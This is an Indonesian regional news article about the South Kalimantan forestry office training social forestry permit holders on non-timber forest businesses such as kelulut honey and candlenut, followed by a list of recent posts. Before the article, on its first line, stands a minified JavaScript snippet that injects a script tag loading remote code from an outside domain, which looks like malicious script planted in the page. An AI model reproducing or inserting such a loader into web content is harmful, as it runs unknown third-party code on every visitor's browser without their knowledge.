(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DISHUT PROV KALSEL

Dishut Kalsel Ingin Optimalisasi Kelompok Usaha Perhutanan Sosial


BANJARBARU, Kawasan hutan di Kalimantan Selatan 1,7 juta hektare, saat ini akses masyarakat hanya 1,3 %, jadi masyarakat jauh sekali dilibatkan dalam pengelolaan hutan.  Untuk itu Dishut Kalsel akan meningkatkan hak kelola masyarakat menjadi 10%.

Dishut Kalsel melibatkan masyarakat dalam mengelola hutan dengan kegiatan Perhutanan Sosial (PS). Perhutanan sosial di masyarakat bisa dalam bentuk Hutan Kemasyarakat (HKm), Hutan Tanaman Rakyat (HTR), Hutan Desa (HD).

Untuk itu Dishut mengharapkan bagi para pemegang izin PS dapat melakukan operasion terhadap izin-izin yang sudah diberikan melalui pengembangan usaha produktif dengan KUPS (Kelompok Usaha Perhutanan Sosial) sesuai dengan potensi wilayah izinnya.

“Hal tersebut dilakukan agar bisa memberikan kesejahteraan masyarakat sekitar hutan sesuai dengan salah satu indikator Dishut Kalsel yaitu peningkatan kesejahteraan masyarakat,” ucap Kepala Dishut Kalsel, Dr Hanif Faisol Nurofiq saat memberikan sambutan membuka acara Pelatihan Penguatan Kelembagan Kelompok Perhutanan Sosial tahun 2018 di Hotel Rodhita, Banjarbaru.

Menurut Hanif, salah satu faktor penting untuk menentukan dalam pencapaian keberhasilan perhutanan sosial adalah optimalisasi peranan pemegang izin perhutanan sosial dengan dibantu oleh Kelompok Kerja (Pokja) Percepatan Perhutanan Sosial.

Hanif mengatakan, Pokja sendiri merupakan wadah bagi penggiat perhutanan sosial yang dapat berfungsi koordinasi perhutanan sosial, pengendalian dan monitoring serta evaluasi perhutanan sosial. Dengan didampingi oleh Pokja, pemegang izin perhutanan sosial diharapkan dapat mengembangan potensi usaha produktif Hasil Hutan Bukan Kayu (HHBK).

Dalam kegiatan ini para pemegang izin PS kebanyakan membahas tentang usaha pengembangan lebah madu kelulut, pengembangan kemiri, pengembangan kayu manis, sengon dan jabon.  Selain itu juga dilakukan pembahasan terkait pasca panen dan ketersediaan pasar untuk mendistribusikan dan menjual produksi dari PS.

Guna menambah pengetahuan dan peningkatan kelompok PS yang hadir dalam kegiatan, Dishut Kalsel mendatang narasumber dari berbagai kalangan seperti Prof Dr Ir Yudi Firmanul Arifin dan Siti Hamidah SHut MP dari PHLB ULM (Pusat Inovasi, Teknologi, Komersialisasi, Manajemen: Hutan & Lahan Basah- Universitas Lambung Mangkurat), I Gede Arya Subhakti SHut MP Kabid Pemberdayaan Masyarakat Penyuluh dan Perhutanan Sosial (PMPPS) Dishut Kalsel, Susanto SHut dari Balai Perhutanan Sosial dan Kemitraan Lingkungan (BPSKL) Wilayah Kalimantan, Rusmana dari Balai Penelitian dan Pengembangan Lingkungan Hidup dan Kehutanan Banjabaru, dan Fahrudin pelaku usaha pengembangan HHBK.

Kegiatan yang dilaksanakan selama 2 hari ini, dihadiri 30 orang peserta pemegang izin perhutanan sosial yang berasal dari berbagai daerah di Kalimantan Selatan. (abdullah)

Reporter :Abdullah
Editor : Abi Zarrin Al Ghifari

Aldi Riduan

Uploader Terpercaya Kanal Kalimantan

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

9 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

9 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

10 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

10 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

10 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

10 jam ago

This website uses cookies.